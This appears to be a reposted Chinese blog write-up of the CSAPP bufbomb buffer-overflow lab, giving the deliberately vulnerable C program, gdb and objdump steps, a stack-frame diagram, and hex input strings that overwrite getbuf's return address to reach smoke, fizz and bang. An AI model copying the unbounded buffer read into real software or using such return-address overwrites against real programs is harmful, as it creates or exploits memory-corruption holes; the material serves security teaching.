csapp bufbomb实验
csapp (《深入理解計算機系統》)一書中有一個關于緩沖區溢出的實驗,其程序代碼如下:
/* Bomb program that is solved using a buffer overflow attack */#include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <signal.h> #include <unistd.h>/* Signal handler to catch bus errors */ void bushandler(int sig) {printf("Crash!: You caused a bus error!\n");printf("Better luck next time\n");exit(0); }/* Signal handler to catch segmentation violations */ void seghandler(int sig) {printf("Ouch!: You caused a segmentation fault!\n");printf("Better luck next time\n");exit(0); }/* Alarm handler to catch infinite loops */ static int alarm_time = 600;void alarmhandler(int sig) {printf("Dead!: getbuf didn't complete within %d seconds\n", alarm_time);printf("Better luck next time\n");exit(0); }/* Illegal instruction handler */ void illegalhandler(int sig) {printf("Oops!: You executed an illegal instruction\n");printf("Better luck next time\n");exit(0); }/* Like gets, except that characters are typed as pairs of hex digits.Nondigit characters are ignored. Stops when encounters newline */ char *getxs(char *dest) {int c;int even = 1; /* Have read even number of digits */int otherd = 0; /* Other hex digit of pair */char *sp = dest;while ((c = getchar()) != EOF && c != '\n') {if (isxdigit(c)) {int val;if ('0' <= c && c <= '9')val = c - '0';else if ('A' <= c && c <= 'F')val = c - 'A' + 10;elseval = c - 'a' + 10;if (even) {otherd = val;even = 0;} else {*sp++ = otherd * 16 + val;even = 1;}}}*sp++ = '\0';return dest; }int getbuf() {char buf[16];getxs(buf);return 1; }void test() {int val;printf("Type Hex String: ");val = getbuf();printf("getbuf returned 0x%x\n", val); }void smoke() {printf("Smoke: You called smoke()\n");exit(0); }void fizz(int val) {if (val == 0xdeadbeef) {printf("Fizz!: You called fizz (0x%x)\n", val);}else {printf("Misfire: You called fizz (0x%x)\n", val);}exit(0); }int global_value = 0;void bang() {if (global_value == 0xdeadbeef) {printf("Bang!: You set global_value to 0x%x\n", global_value);}else {printf("Misfire: global_value = 0x%x\n", global_value);}exit(0); }int main() {int buf[16];/* This little hack is an attempt to get the stack to be in astable position*/int offset = (((int) buf) & 0xFFFF);int *space = (int *) alloca(offset);*space = 0; /* So that don't get complaint of unused variable */signal(SIGSEGV, seghandler);signal(SIGBUS, bushandler);signal(SIGALRM, alarmhandler);signal(SIGILL, illegalhandler);/* Set up time out condition */alarm(alarm_time);test();return 0; }?要求程序輸出 Smoke!: You called smoke()
?
?
我所使用的系統環境(archlinux 2010.05, gcc 4.5.2, gdb 7.2, objdump(bintuils) 2.21):
該問題中關鍵的兩個函數是test和getbuf,需要了解執行這兩個函數的棧幀布局。
?
先運行
gcc -o bufbomb -g -Wall bufbomb.c
objdump -d bufbomb > bufbomb.s
這兩條命令得到bufbomb.s,該文件中test和getbuf對應內容如下:
?最左側部分是匯編指令的內存地址,其中與??? printf("getbuf returned 0x%x\n", val); 這一句對應的匯編語句為:
80486e1: 89 54 24 04 mov %edx,0x4(%esp)80486e5: 89 04 24 mov %eax,(%esp)80486e8: e8 47 fd ff ff call 8048434 <printf@plt>其中的printf指令地址為0x080486e8,由于intel處理器采用小端法表示,所以實際表示為e8860408
?
執行gdb bufbomb命令,在getbuf函數設置斷點(用break getbuf)
執行run命令,程序跳轉至getbuff,然后用info reg查看寄存器內容,得到ebp值為0xbffeffb8???
?
根據上面的反匯編結果可以知道,調用getbuf函數時的棧幀(假設是地址從高向低排列)表示如下:
?
---------------
?
-----------------
?
---------------
getbuf 返回地址
----------------
ebp
------------------
暫為空
-----------------
暫為空
----------------
buf[12]-buf[15]
----------------
buf[8]-buf[11]
----------------
buf[4]-buf[7]
----------------
buf[0]-buf[3]
-----------------
?
在從getbuf返回后,我們要求輸出smoke函數內容,即將smoke的返回地址(0x080486ef,即ef860408)壓入到getbuf所在地址處。因為smoke函數沒有函數參數,所以不需要多余的處理.
接著運行bufbomb程序,提示輸入字符串,我輸入的字符串為:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf ef 86 04 08
輸出結果為:Smoke: You called smoke()
其中前面24個字節為空(其實這些內容可以為任意值),接下來是ebp地址,它需要保持原來的內容。再然后是smoke函數的返回地址。
?
現在還沒有完全完成所有的實驗,還可以將返回地址設為fizz或者bang函數,然后也可以得到不同的輸出結果。
例如,如果輸入字符串為:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ,此時得到輸出結果為:Misfire: You called fizz (0xb773bff4)
如果輸入字符串為:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ef be ad de ef be ad de
可以得到輸出結果為:Fizz!: You called fizz (0xdeadbeef)
這個例子中使用了fizz的返回地址(0x0804870d,可以在上面的反匯編代碼中找到fizz標記左側的地址即是,還有fizz的形參的內容不做修改和修改為0xefbeadde時 的情況)
?
如果輸入字符串為:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 52 87 04 08 ,得到輸出結果為Misfire: global_value = 0x0
如果輸入字符串為00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 64 87 04 08 ,得到輸出結果為Bang!: You set global_value to 0x0
這個例子是直接跳轉到bang的返回地址(0x08048752)或者printf(“Bang!: You set global_value to 0x0")語句對應匯編語句的首地址(0x08048764)
?
參考鏈接:
bufbomb lab assignment
緩沖區溢出攻擊實驗
ubuntu 9.10 緩沖區溢出實驗
insecure programming
linux緩沖區溢出原理與對策
緩沖溢出分析
非安全編程演示之高級篇
buffer overflow on wikipedia
?
總結
以上是生活随笔為你收集整理的csapp bufbomb实验的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Unsigned 陷阱
- 下一篇: PyTorch系列 (二): pytor